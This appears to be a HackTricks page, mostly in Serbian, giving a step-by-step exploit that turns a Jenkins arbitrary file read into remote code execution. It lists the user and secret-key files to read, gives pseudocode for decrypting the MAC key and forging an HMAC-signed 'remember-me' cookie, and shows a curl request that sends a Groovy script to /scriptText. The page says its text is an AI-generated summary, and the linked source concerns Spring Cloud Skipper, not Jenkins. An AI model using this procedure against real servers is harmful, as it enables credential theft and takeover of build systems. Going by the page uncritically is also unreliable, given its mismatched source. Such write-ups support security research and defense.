Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
U ovom blog postu je moguće pronaći odličan način da se transformiše ranjivost Local File Inclusion u Jenkins-u u RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Ovo je AI kreirani sažetak dela posta gde se zloupotrebljava kreacija proizvoljnog kolačića da bi se dobio RCE zloupotrebom lokalnog čitanja datoteka dok ne budem imao vremena da napravim svoj sažetak:
Attack Prerequisites
- Feature Requirement: "Remember me" mora biti omogućeno (podrazumevano podešavanje).
- Access Levels: Napadač treba Overall/Read dozvole.
- Secret Access: Sposobnost čitanja binarnog i tekstualnog sadržaja iz ključnih datoteka.
Detailed Exploitation Process
Step 1: Data Collection
User Information Retrieval
- Pristupite korisničkoj konfiguraciji i tajnama iz
$JENKINS_HOME/users/*.xml
za svakog korisnika da prikupite: - Username
- User seed
- Timestamp
- Password hash
Secret Key Extraction
- Izvucite kriptografske ključeve korišćene za potpisivanje kolačića:
- Secret Key:
$JENKINS_HOME/secret.key
- Master Key:
$JENKINS_HOME/secrets/master.key
- MAC Key File:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Step 2: Cookie Forging
Token Preparation
- Calculate Token Expiry Time:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Dodaje jedan sat trenutnom vremenu
- Concatenate Data for Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Key Decryption
- Decrypt MAC Key File:
key = toAes128Key(masterKey) // Konvertuje master ključ u AES128 format
decrypted = AES.decrypt(macFile, key) // Dešifruje .mac datoteku
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signature Computation
- Compute HMAC SHA256:
mac = HmacSHA256(token, macKey) // Izračunava HMAC koristeći token i MAC ključ
tokenSignature = bytesToHexString(mac) // Konvertuje MAC u heksadecimalni string
Cookie Encoding
- Generate Final Cookie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 kodira podatke kolačića
Step 3: Code Execution
Session Authentication
- Fetch CSRF and Session Tokens:
- Napravite zahtev ka
/crumbIssuer/api/json
da dobijeteJenkins-Crumb
. - Zabeležite
JSESSIONID
iz odgovora, koji će se koristiti zajedno sa kolačićem "remember-me".
Command Execution Request
- Send a POST Request with Groovy Script:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovy skripta može se koristiti za izvršavanje komandi na sistemskom nivou ili drugih operacija unutar Jenkins okruženja.
Primer curl komande prikazan je kako bi se pokazalo kako napraviti zahtev ka Jenkins-u sa potrebnim zaglavljima i kolačićima za sigurno izvršavanje proizvoljnog koda.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.